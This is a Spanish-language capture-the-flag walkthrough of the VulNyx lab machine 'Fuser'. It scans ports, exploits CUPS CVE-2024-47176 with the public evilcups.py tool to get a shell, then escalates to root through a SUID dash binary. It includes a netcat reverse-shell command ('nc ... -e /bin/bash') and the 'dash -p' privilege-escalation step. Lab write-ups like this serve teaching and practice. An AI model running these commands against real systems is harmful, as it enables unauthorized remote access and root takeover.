VulNyx - Fuser
- CUPS (CVE-2024-47176) - (evilcups.py)
- Abusing Dash Binary - (Sudo/Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.22
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
631/tcp open ipp syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80,631 172.0.100.22
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Site doesn't have a title (text/html).
631/tcp open ipp CUPS 2.3
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Inicio - CUPS 2.3.3op2
|_http-server-header: CUPS/2.3 IPP/2.1
HTTP - TCP 80
CUPS - TCP 631
En la pestaña Impresoras, hay una impresora instalada:
La página de la impresora muestra las opciones para administrarla:
El 26 de septiembre de 2024, un investigador conocido como evilsocket publicó una investigación sobre vulnerabilidades en CUPS. En ella, se incluyen cuatro CVE y se explica cómo, al combinar estas vulnerabilidades, es posible añadir una impresora maliciosa a un sistema de forma remota.
Con git clono el repositorio evilcups.
❯ git clone https://github.com/IppSec/evil-cups.git
Instalo las dependencias y ejecuto el exploit para comprobar que funciona correctamente.
❯ python3 evilcups.py
python3 evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>
Vuelvo a ejecutar el exploit con los parámetros que solicita.
En la pestaña de impresoras me aparece una nueva impresora.
Accedo a la página de la nueva impresora.
Hago clic en el desplegable y, seguidamente, en ‘Imprimir página de prueba
’.
En unos segundos obtengo la shell.
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [172.0.100.25] from (UNKNOWN) [172.0.100.30] 50294
bash: no se puede establecer el grupo de proceso de terminal (569): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
lp@fuser:/$ id
uid=7(lp) gid=7(lp) grupos=7(lp)
lp@fuser:/$
Una vez tengo acceso al sistema, al cabo de unos minutos la shell se cerrará. Para evitarlo, lanzo un netcat con nohup para mantener otra shell.
lp@fuser:/$ nohup nc 172.0.100.25 1337 -e /bin/bash
Después de obtener la shell, realizo una búsqueda de binarios con permisos SUID.
lp@fuser:/$ find / -perm -4000 2>/dev/null
/usr/bin/dash
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
Con la herramienta gtfobins_cli
, busco la información sobre el binario dash con permisos SUID.
Obtengo acceso root de la siguiente forma:
lp@fuser:/$ /usr/bin/dash -p
# id
uid=7(lp) gid=7(lp) euid=0(root) grupos=7(lp)
Y aquí termina la máquina Fuser.
Saludos!